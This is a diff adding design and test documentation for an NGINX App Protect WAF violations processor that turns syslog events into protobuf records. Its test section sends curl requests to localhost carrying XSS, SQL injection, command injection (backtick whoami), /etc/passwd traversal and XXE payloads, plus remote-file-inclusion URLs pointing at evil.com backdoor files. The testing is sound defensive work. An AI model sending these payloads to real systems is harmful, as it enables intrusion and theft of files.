|
| 1 | +# NGINX App Protect Security Violations Processor |
| 2 | + |
| 3 | +## Introduction |
| 4 | + |
| 5 | +The Security Violations Processor is a custom OpenTelemetry Collector processor designed to ingest, parse, and transform NGINX App Protect (NAP) WAF violation events into structured protobuf messages. This processor enables real-time security monitoring and analysis of web application attacks by consuming syslog messages from NAP v4 & v5, and converts them into a standardized `SecurityViolationEvent` protobuf format. This protobuf payload is then encoded as bytes, and forwarded as a log record. |
| 6 | + |
| 7 | +### Purpose |
| 8 | + |
| 9 | +NGINX App Protect generates security violation events over syslog. While syslog is universally supported and easy to configure, text-based formats are inefficient for machine processing at scale: they require string parsing, have no type safety, consume significant bandwidth, and lack native support for complex nested structures like violation details with multiple signature matches. |
| 10 | + |
| 11 | +This processor exists to transform these text-formatted syslog messages into **structured, efficiently encoded protobuf messages** that are optimized for programmatic consumption. |
| 12 | + |
| 13 | +Downstream consumers benefit from: |
| 14 | +- **Shared versioned contract**: The `SecurityViolationEvent` protobuf schema serves as a strongly-typed API contract between NAP and consuming systems, with built-in backwards compatibility. |
| 15 | +- **Efficient binary encoding**: Protobuf's compact binary format significantly reduces bandwidth and storage costs compared to text-based formats |
| 16 | +- **Zero parsing overhead**: Pre-structured data eliminates the need for regex parsing, string splitting, or JSON deserialization in downstream systems |
| 17 | +- **Language-agnostic integration**: Automatic code generation for 10+ languages (Go, Python, Java, etc.) means consumers can work with native data structures |
| 18 | +- **Type safety**: Strongly-typed fields (enums, repeated fields, nested messages) prevent runtime errors and enable compile-time validation |
| 19 | + |
| 20 | +### Architecture Context |
| 21 | + |
| 22 | +The processor operates within the NGINX Agent's OpenTelemetry Collector pipeline: |
| 23 | + |
| 24 | +``` |
| 25 | +NGINX App Protect v4/v5 → Syslog/UDP → Security Violations Processor → Batch Processor → OTLP Exporter |
| 26 | + (localhost/docker0) (:1514) (Protobuf) (Logs) |
| 27 | +``` |
| 28 | + |
| 29 | +**Key Components:** |
| 30 | +- **NGINX App Protect (NAP) v4/v5**: Generates security violation events when requests violate WAF policy |
| 31 | +- **Syslog Server**: Listens on UDP port 1514 |
| 32 | + - **NAP v4**: Configured to send to `127.0.0.1:1514` (localhost) |
| 33 | + - **NAP v5**: Configured to send to docker0 interface IP (e.g., `172.17.0.1:1514` or dynamically discovered) |
| 34 | +- **Security Violations Processor**: Custom OTel processor that parses and transforms events |
| 35 | +- **Protobuf Schema**: Defines the canonical `SecurityViolationEvent` message format |
| 36 | +- **Exporters**: Forward structured events to observability backends |
| 37 | + |
| 38 | +## Architecture |
| 39 | + |
| 40 | +### Component Overview |
| 41 | + |
| 42 | +``` |
| 43 | +┌────────────────────────────────────────────────────────────────────┐ |
| 44 | +│ NGINX App Protect Process/Container │ |
| 45 | +│ ┌─────────────────────────────────────────────────────────────┐ │ |
| 46 | +│ │ WAF Policy: for example: nms_app_protect_strict_policy │ │ |
| 47 | +│ │ - Cross-Site Scripting detection │ │ |
| 48 | +│ │ - SQL Injection detection │ │ |
| 49 | +│ │ - Command Injection detection │ │ |
| 50 | +│ │ - File type restrictions │ │ |
| 51 | +│ │ - Bot detection | | |
| 52 | +| | - ... │ │ |
| 53 | +│ └─────────────────────────────────────────────────────────────┘ │ |
| 54 | +│ │ │ |
| 55 | +│ │ Syslog │ |
| 56 | +│ ▼ │ |
| 57 | +│ ┌─────────────────────────────────────────────────────────────┐ │ |
| 58 | +│ │ Syslog Destination: syslog:server=127.0.0.1:1514 │ │ |
| 59 | +│ │ Format: "custom_csv_format" │ │ |
| 60 | +│ └─────────────────────────────────────────────────────────────┘ │ |
| 61 | +└────────────────────────────────────────────────────────────────────┘ |
| 62 | + │ |
| 63 | + │ UDP Port 1514 |
| 64 | + │ |
| 65 | + ▼ |
| 66 | +┌────────────────────────────────────────────────────────────────────┐ |
| 67 | +│ NGINX Agent (OTel Collector) │ |
| 68 | +│ ┌─────────────────────────────────────────────────────────────┐ │ |
| 69 | +│ │ Receiver: syslog/default-security-events │ │ |
| 70 | +│ │ - Protocol: RFC5424 │ │ |
| 71 | +│ │ - UDP Listener: 127.0.0.1:1514 │ │ |
| 72 | +│ └─────────────────────────────────────────────────────────────┘ │ |
| 73 | +│ │ │ |
| 74 | +│ ▼ │ |
| 75 | +│ ┌─────────────────────────────────────────────────────────────┐ │ |
| 76 | +│ │ Processor: securityviolations/default │ │ |
| 77 | +│ │ ┌─────────────────────────────────────────────────────────┐│ │ |
| 78 | +│ │ │ 1. Extract syslog structured data (hostname, priority) ││ │ |
| 79 | +│ │ │ 2. Parse CSV body in log profile field order ││ │ |
| 80 | +│ │ │ 3. Extract XML violation, signatures and context details││ │ |
| 81 | +│ │ │ 4. Map fields to SecurityViolationEvent protobuf ││ │ |
| 82 | +│ │ │ 5. Add resource attributes (system_id, nginx.id) ││ │ |
| 83 | +│ │ └─────────────────────────────────────────────────────────┘│ │ |
| 84 | +│ └─────────────────────────────────────────────────────────────┘ │ |
| 85 | +│ │ │ |
| 86 | +│ ▼ │ |
| 87 | +│ ┌─────────────────────────────────────────────────────────────┐ │ |
| 88 | +│ │ Processor: batch/logs │ │ |
| 89 | +│ │ - Batches logs for efficient transport │ │ |
| 90 | +│ │ - send_batch_size: 1000 │ │ |
| 91 | +│ │ - timeout: 30s │ │ |
| 92 | +│ └─────────────────────────────────────────────────────────────┘ │ |
| 93 | +│ │ │ |
| 94 | +│ ▼ │ |
| 95 | +│ ┌─────────────────────────────────────────────────────────────┐ │ |
| 96 | +│ │ Exporter: OTLP │ │ |
| 97 | +│ │ - Forwards OTLP formatted logs to N1 Console │ │ |
| 98 | +│ └─────────────────────────────────────────────────────────────┘ │ |
| 99 | +└────────────────────────────────────────────────────────────────────┘ |
| 100 | +``` |
| 101 | + |
| 102 | +## Testing and Analysis |
| 103 | + |
| 104 | +#### Dataplane Setup |
| 105 | + |
| 106 | +##### Added the following configuration to agent |
| 107 | +```yaml |
| 108 | +features: |
| 109 | + - logs-nap |
| 110 | + |
| 111 | +collector: |
| 112 | + exporters: |
| 113 | + debug: {} |
| 114 | + processors: |
| 115 | + batch: |
| 116 | + "logs": |
| 117 | + send_batch_size: 1000 |
| 118 | + timeout: 30s |
| 119 | + send_batch_max_size: 1000 |
| 120 | + pipelines: |
| 121 | + logs: |
| 122 | + "default-security-events": |
| 123 | + receivers: ["tcplog/nginx_app_protect"] |
| 124 | + processors: ["securityviolations/default","batch/logs"] |
| 125 | + exporters: ["debug","otlp/default"] |
| 126 | +``` |
| 127 | +
|
| 128 | +##### NGINX App Protect Configuration |
| 129 | +
|
| 130 | +```nginx |
| 131 | +# NAP v5 Policy and Logging |
| 132 | +app_protect_enable on; |
| 133 | +app_protect_policy_file "/etc/nms/NginxStrictPolicy.tgz"; |
| 134 | +app_protect_security_log_enable on; |
| 135 | +app_protect_security_log "/etc/nms/secops_dashboard.tgz" syslog:server=192.0.10.1:1514; |
| 136 | +``` |
| 137 | + |
| 138 | +##### Log Profile (`secops_dashboard.tgz`): |
| 139 | +```json |
| 140 | +{ |
| 141 | + "filter": { |
| 142 | + "request_type": "illegal" |
| 143 | + }, |
| 144 | + "content": { |
| 145 | + "format": "user-defined", |
| 146 | + "format_string": "%blocking_exception_reason%,%dest_port%,%ip_client%,%is_truncated_bool%,%method%,%policy_name%,%protocol%,%request_status%,%response_code%,%severity%,%sig_cves%,%sig_set_names%,%src_port%,%sub_violations%,%support_id%,%threat_campaign_names%,%violation_rating%,%vs_name%,%x_forwarded_for_header_value%,%outcome%,%outcome_reason%,%violations%,%violation_details%,%bot_signature_name%,%bot_category%,%bot_anomalies%,%enforced_bot_anomalies%,%client_class%,%client_application%,%client_application_version%,%transport_protocol%,%uri%,%request%", |
| 147 | + "escaping_characters": [ |
| 148 | + { |
| 149 | + "from": ",", |
| 150 | + "to": "%2C" |
| 151 | + } |
| 152 | + ], |
| 153 | + "max_request_size": "2048", |
| 154 | + "max_message_size": "5k", |
| 155 | + "list_delimiter": "::" |
| 156 | + } |
| 157 | +} |
| 158 | +``` |
| 159 | +### Test Suite Overview |
| 160 | + |
| 161 | +A comprehensive test suite was run to test the processor's ability to detect and report various attack types. The suite sends 47 malicious requests across 14 attack categories. |
| 162 | + |
| 163 | +**Test Script Metrics:** |
| 164 | +- **Total Requests:** 47 |
| 165 | +- **Expected Violations:** 36 |
| 166 | +- **Actual Violations Observed:** 36 |
| 167 | + |
| 168 | +### Test Categories and Results |
| 169 | + |
| 170 | +#### 1. Cross-Site Scripting (XSS) - 5 tests ✅ |
| 171 | +```bash |
| 172 | +# Test 1: <script> tag in URL parameter |
| 173 | +curl -s 'http://127.0.0.1/page?search=<script>alert("XSS")</script>' |
| 174 | +# Result: BLOCKED |
| 175 | +# Violations: VIOL_ATTACK_SIGNATURE (sig_id: 200001475, 200000098, 200001088, 200101609) |
| 176 | +# VIOL_PARAMETER_VALUE_METACHAR, VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT |
| 177 | +# VIOL_RATING_THREAT (rating=5) |
| 178 | +``` |
| 179 | + |
| 180 | +**Analysis:** |
| 181 | +- All 5 XSS tests successfully blocked |
| 182 | +- Multiple signature IDs matched per request (Cross Site Scripting Signatures set) |
| 183 | +- Violation rating: 4-5 (Threat/Critical) |
| 184 | + |
| 185 | +#### 2. SQL Injection - 6 tests ✅ |
| 186 | +```bash |
| 187 | +# Test 2: SQL comment bypass |
| 188 | +curl -s "http://127.0.0.1/?user=admin'--" |
| 189 | +# Result: BLOCKED |
| 190 | +# Violations: VIOL_ATTACK_SIGNATURE (sig_id: 200002444) |
| 191 | +# VIOL_PARAMETER_VALUE_METACHAR, VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT |
| 192 | +# VIOL_RATING_NEED_EXAMINATION (rating=3) |
| 193 | +``` |
| 194 | + |
| 195 | +**Analysis:** |
| 196 | +- 6/6 SQL injection tests blocked |
| 197 | +- Signature sets: SQL Injection Signatures |
| 198 | +- Lower violation rating (3) for comment-based attacks vs UNION/OR attacks (5) |
| 199 | + |
| 200 | +#### 3. Illegal File Types - 4 tests ✅ (3 blocked, 1 alerted) |
| 201 | +```bash |
| 202 | +# Test 3: .tmp file access |
| 203 | +curl -s 'http://127.0.0.1/myfile.tmp' |
| 204 | +# Result: BLOCKED |
| 205 | +# Violations: VIOL_FILETYPE, VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT |
| 206 | +# Rating: 2 |
| 207 | + |
| 208 | +# Test 4: .sql file access |
| 209 | +curl -s 'http://127.0.0.1/database.sql' |
| 210 | +# Result: ALERTED (404 response allowed through) |
| 211 | +# Violations: VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT |
| 212 | +# Rating: 2 |
| 213 | +``` |
| 214 | + |
| 215 | +**Analysis:** |
| 216 | +- .tmp, .bak, .env: BLOCKED |
| 217 | +- .sql: ALERTED only (policy-specific exception for non-existent files) |
| 218 | + |
| 219 | +#### 4. Illegal HTTP Methods - 1 test ✅ |
| 220 | +```bash |
| 221 | +# Test 5: SEARCH method |
| 222 | +curl -s -X SEARCH 'http://127.0.0.1/hello' |
| 223 | +# Result: BLOCKED |
| 224 | +# Violations: VIOL_METHOD, VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT |
| 225 | +``` |
| 226 | + |
| 227 | +#### 5. URL Metacharacters - 5 tests ✅ (4 blocked) |
| 228 | +```bash |
| 229 | +# Test 6: Angle brackets in URL |
| 230 | +curl -s 'http://127.0.0.1/test<test>page' |
| 231 | +# Result: BLOCKED |
| 232 | +# Violations: VIOL_URL_METACHAR (2 instances), VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT |
| 233 | +# VIOL_RATING_NEED_EXAMINATION |
| 234 | + |
| 235 | +# Test 7: Null byte encoding |
| 236 | +curl -s 'http://127.0.0.1/file%00.txt' |
| 237 | +# Result: BLOCKED (Unparsable request content) |
| 238 | +``` |
| 239 | + |
| 240 | +**Analysis:** |
| 241 | +- Null byte: Severe protocol violation (unparsable request) |
| 242 | +- Semicolon test: ALERTED (not enforced in some strict policies) |
| 243 | + |
| 244 | +#### 6. Command Injection - 5 tests ✅ |
| 245 | +```bash |
| 246 | +# Test 8: Backtick command substitution |
| 247 | +curl -s 'http://127.0.0.1/cmd?`whoami`' |
| 248 | +# Result: BLOCKED |
| 249 | +# Violations: VIOL_ATTACK_SIGNATURE (sig_id: 200003069), VIOL_PARAMETER_NAME_METACHAR |
| 250 | +# VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT, VIOL_RATING_NEED_EXAMINATION |
| 251 | +``` |
| 252 | + |
| 253 | +**Analysis:** |
| 254 | +- All command injection tests blocked |
| 255 | +- Signature sets: Command Execution Signatures, OS Command Injection Signatures |
| 256 | +- Detected in parameters and URIs |
| 257 | + |
| 258 | +#### 7. Path Traversal - 4 tests ✅ |
| 259 | +```bash |
| 260 | +# Test 9: Encoded path traversal |
| 261 | +curl -s 'http://127.0.0.1/download?file=..%2F..%2Fetc%2Fpasswd' |
| 262 | +# Result: BLOCKED |
| 263 | +# Violations: VIOL_ATTACK_SIGNATURE (6 signature IDs matched!) |
| 264 | +# VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT, VIOL_RATING_THREAT (rating=5) |
| 265 | +# Signature sets: Path Traversal Signatures, Predictable Resource Location |
| 266 | + |
| 267 | +# Test 10: Double-encoded path traversal |
| 268 | +curl -s 'http://127.0.0.1/file?path=%252e%252e%252f%252e%252e%252fetc%252fpasswd' |
| 269 | +# Result: BLOCKED |
| 270 | +# Violations: VIOL_EVASION (Multiple decoding), VIOL_ATTACK_SIGNATURE |
| 271 | +# VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT, VIOL_RATING_THREAT (rating=5) |
| 272 | +``` |
| 273 | + |
| 274 | +**Analysis:** |
| 275 | +- High-fidelity detection: 6 signature matches for encoded traversal |
| 276 | +- Evasion detection: Double-encoding flagged as evasion technique |
| 277 | +- Critical severity (rating=5) |
| 278 | + |
| 279 | +#### 8. HTTP Header Attacks - 2 tests ✅ |
| 280 | +```bash |
| 281 | +# Test 11: XSS in custom header |
| 282 | +curl -s -H 'X-Test: <script>alert(1)</script>' 'http://127.0.0.1/' |
| 283 | +# Result: BLOCKED |
| 284 | +# Violations: VIOL_ATTACK_SIGNATURE (in header context) |
| 285 | +# VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT, VIOL_RATING_THREAT (rating=4) |
| 286 | +``` |
| 287 | + |
| 288 | +#### 9. Cookie Attacks - 3 tests ⚠️ (2 blocked, 1 alerted) |
| 289 | +```bash |
| 290 | +# Test 12: XSS in cookie |
| 291 | +curl -s -H 'Cookie: session=<script>alert(1)</script>' 'http://127.0.0.1/' |
| 292 | +# Result: BLOCKED |
| 293 | +# Violations: VIOL_ATTACK_SIGNATURE (in cookie context), VIOL_RATING_THREAT |
| 294 | + |
| 295 | +# Test 13: Null byte in cookie |
| 296 | +curl -s -H 'Cookie: data=test%00admin' 'http://127.0.0.1/' |
| 297 | +# Result: ALERTED (not enforced) |
| 298 | +``` |
| 299 | + |
| 300 | +#### 10. Parameter Tampering - 2 tests ✅ |
| 301 | +```bash |
| 302 | +# Test 14: XSS in parameter |
| 303 | +curl -s 'http://127.0.0.1/?userId=<script>alert(1)</script>' |
| 304 | +# Result: BLOCKED |
| 305 | +# Violations: VIOL_ATTACK_SIGNATURE, VIOL_PARAMETER_VALUE_METACHAR |
| 306 | +# VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT, VIOL_RATING_THREAT (rating=5) |
| 307 | +``` |
| 308 | + |
| 309 | +#### 11. Sensitive File Access - 3 tests ✅ |
| 310 | +```bash |
| 311 | +# Test 15: .git directory access |
| 312 | +curl -s 'http://127.0.0.1/.git/config' |
| 313 | +# Result: BLOCKED |
| 314 | +# Violations: VIOL_ATTACK_SIGNATURE (Predictable Resource Location) |
| 315 | +# VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT, VIOL_RATING_THREAT (rating=4) |
| 316 | +``` |
| 317 | + |
| 318 | +#### 12. Remote File Inclusion (RFI) - 3 tests ⚠️ (1 blocked, 2 alerted) |
| 319 | +```bash |
| 320 | +# Test 16: FTP protocol RFI |
| 321 | +curl -s 'http://127.0.0.1/?load=ftp://evil.com/backdoor.php' |
| 322 | +# Result: BLOCKED |
| 323 | +# Violations: VIOL_ATTACK_SIGNATURE (sig_id: 200018151) |
| 324 | +# VIOL_RATING_NEED_EXAMINATION |
| 325 | + |
| 326 | +# Test 17: HTTP protocol RFI |
| 327 | +curl -s 'http://127.0.0.1/?page=http://evil.com/shell.txt' |
| 328 | +# Result: ALERTED (not blocked with strict policy) |
| 329 | +``` |
| 330 | + |
| 331 | +**Analysis:** |
| 332 | +- FTP protocol: Blocked (explicit protocol detection) |
| 333 | +- HTTP/HTTPS in parameters: Alerted only (policy-dependent) |
| 334 | + |
| 335 | +#### 13. API/JSON Attacks - 3 tests ✅ |
| 336 | +```bash |
| 337 | +# Test 18: XXE (XML External Entity) |
| 338 | +curl -s -X POST 'http://127.0.0.1/api/data' \ |
| 339 | + -H 'Content-Type: application/xml' \ |
| 340 | + -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' |
| 341 | +# Result: BLOCKED |
| 342 | +# Violations: VIOL_ATTACK_SIGNATURE, VIOL_XML_MALFORMED |
| 343 | +# VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT, VIOL_RATING_THREAT (rating=4) |
| 344 | +``` |
| 345 | + |
| 346 | +#### 14. HTTP Protocol Violations - 1 test ⚠️ (alerted) |
| 347 | +```bash |
| 348 | +# Test 19: IP address in Host header |
| 349 | +curl -s -H 'Host: 127.0.0.1' 'http://127.0.0.1/' |
| 350 | +# Result: ALERTED (200 response) |
| 351 | +# Violations: VIOL_HTTP_PROTOCOL, VIOL_BOT_CLIENT |
| 352 | +``` |
| 353 | + |
| 354 | +**Note:** All requests trigger `VIOL_HTTP_PROTOCOL` because curl sends IP in Host header by default. |
| 355 | + |
| 356 | +### Observed Violation Patterns |
| 357 | + |
| 358 | +#### Request Outcomes Distribution |
| 359 | +``` |
| 360 | +BLOCKED: 30 violations (83.3%) |
| 361 | +ALERTED: 6 violations (16.7%) |
| 362 | +Total: 36 violations |
| 363 | +``` |
| 364 | + |
| 365 | +#### Violation Type Frequency |
| 366 | +``` |
| 367 | +VIOL_HTTP_PROTOCOL: 36/36 (100%) - All requests (IP in Host) |
| 368 | +VIOL_BOT_CLIENT: 36/36 (100%) - All requests (curl detected) |
| 369 | +VIOL_ATTACK_SIGNATURE: 25/36 (69%) - Most attack patterns |
| 370 | +VIOL_PARAMETER_VALUE_METACHAR: 8/36 (22%) - Parameter attacks |
| 371 | +VIOL_RATING_THREAT: 11/36 (31%) - Critical severity |
| 372 | +VIOL_RATING_NEED_EXAMINATION: 9/36 (25%) - Medium severity |
| 373 | +VIOL_FILETYPE: 3/36 (8%) - File restrictions |
| 374 | +VIOL_METHOD: 1/36 (3%) - HTTP method violations |
| 375 | +VIOL_URL_METACHAR: 3/36 (8%) - URL special chars |
| 376 | +VIOL_EVASION: 1/36 (3%) - Encoding evasion |
| 377 | +VIOL_XML_MALFORMED: 1/36 (3%) - XML attacks |
| 378 | +VIOL_HEADER_METACHAR: 2/36 (6%) - Header attacks |
| 379 | +``` |
| 380 | + |
| 381 | +#### Signature Set Effectiveness |
| 382 | +``` |
| 383 | +Cross Site Scripting Signatures: 5 detections |
| 384 | +SQL Injection Signatures: 7 detections |
| 385 | +Command Execution Signatures: 5 detections |
| 386 | +Path Traversal Signatures: 4 detections |
| 387 | +Predictable Resource Location: 6 detections |
| 388 | +Generic Detection (High/Medium): 12 detections |
| 389 | +Other Application Attacks: 2 detections |
| 390 | +``` |
| 391 | + |
| 392 | + |
| 393 | +--- |
| 394 | + |
| 395 | +**Document Version:** 1.0 |
| 396 | +**Last Updated:** January 29, 2026 |
| 397 | +**Author:** NGINX Agent Team |
| 398 | +**Status:** Published |
0 commit comments